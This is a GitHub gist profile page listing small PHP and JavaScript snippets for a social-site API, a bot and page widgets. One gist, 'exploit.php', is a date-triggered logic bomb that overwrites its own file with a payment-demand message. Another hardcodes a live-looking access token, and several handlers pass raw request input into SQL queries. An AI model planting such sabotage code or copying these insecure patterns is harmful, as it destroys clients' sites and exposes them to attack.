Skip to content

Instantly share code, notes, and snippets.

View ennjoy's full-sized avatar
🏠
Working from home

Math Solid ennjoy

🏠
Working from home
View GitHub Profile
@ennjoy
ennjoy / gist:90365baf4c55f828567398c82c3badb3
Last active August 4, 2018 14:25
Блокировка к элементу сайта
var message="Ой, ошибочка!";
function clickIE4(){
if (event.button==2){
alert(message);
return false;
}
}
function clickNS4(e){
@ennjoy
ennjoy / urlyt.php
Created August 11, 2018 17:09
get url video youtube
function getVideoUrl($id) {
$formats = array('18', '22', '37', '38');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://www.youtube.com/get_video_info?video_id=' . $id);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$links = curl_exec($ch);
curl_close($ch);
parse_str($links, $info);
if ($info["status"] == 'fail') {
@ennjoy
ennjoy / exploit.php
Created November 16, 2018 05:47
Exploit
if( strtotime('16.11.2018') <time() ) {
file_put_contents(_FILE_, 'Fatal ... gde oplata, padal???');
}
@ennjoy
ennjoy / longpoll.php
Created May 9, 2019 15:08
longpoll.php
<?php
$ts = intval($_GET['ts']);
$access_token = clean($_GET['access_token']);
$server_time = time();
$row_token = mysqli_fetch_assoc(mysqli_query($sqlConnect, "SELECT id, user_id, token FROM ". T_TOKENS ." WHERE token = '$access_token' LIMIT 1 "));
$row_ts = mysqli_fetch_assoc(mysqli_query($sqlConnect, "SELECT id, time FROM ". T_MESSAGES ." WHERE from_id = '$row_token[user_id]' AND deleted_one = '0' AND deleted_two = '0' ORDER BY time DESC "));
@ennjoy
ennjoy / up-btn.php
Created May 29, 2019 15:59
up button
<button id="up-btn">Наверх</button>
<script>
var btnUp = document.getElementById('up-btn');
window.onscroll = function() {
var offset = window.pageYOffset;
if(offset > window.innerHeight) {
btnUp.style.display = 'inline';
}
else {
@ennjoy
ennjoy / method.php
Created June 2, 2019 17:00
method include
<?php
define('METHODS_DIR', dirname(__FILE__).'/../methods');
header('Content-Type: application/json; charset=utf-8');
$method = clean($_GET["method"]);
switch($method) {
@ennjoy
ennjoy / bot.php
Created June 3, 2019 07:01
ivinete bot
<?php
header('Content-Type: text/json; charset=utf-8');
$access_token = 'lETl8LzRgipgWwFK9ElnKpLQ9y3kZH8keKLAEhUF7CMcW0A5JAo3hpvCnl7uaIcnUWWcg1XfFsdGIPetPTJQ7WNT86ov2A4XK4M2';
file_get_contents('https://api.ivinete.ru/method/account.setOnline?access_token='. $access_token);
for($i=0 ; $i<6 ; $i++) {
@ennjoy
ennjoy / fields.php
Created June 6, 2019 11:15
fields params for get
<?php
$fields = $_GET['fields'];
$fexp = explode(',', $fields);
$fname = array();
foreach ($fexp as $key => $value) {
$fname[$value] = $value;
}
@ennjoy
ennjoy / json.php
Created June 6, 2019 11:53
users.get
<?php
// Получаем 'type' и 'param'
$type = $_GET['type'];
$param = $_GET['param'];
// Получаем id
$user_id = $_GET['id'];
$token = $_GET['token'];
$fexp = explode(',', $param);
@ennjoy
ennjoy / longpoll.php
Created June 7, 2019 13:51
longpoll.php
<?php
$ts = isset($_REQUEST['ts']) ? intval($_REQUEST['ts']) : false;
$wait = isset($_REQUEST['wait']) ? intval($_REQUEST['wait']) : false;
$access_token = check_token();
$updates = array();
$row_ts = mysqli_fetch_assoc(mysqli_query($sqlConnect, "SELECT time FROM ". T_MESSAGES ." ORDER BY id DESC "));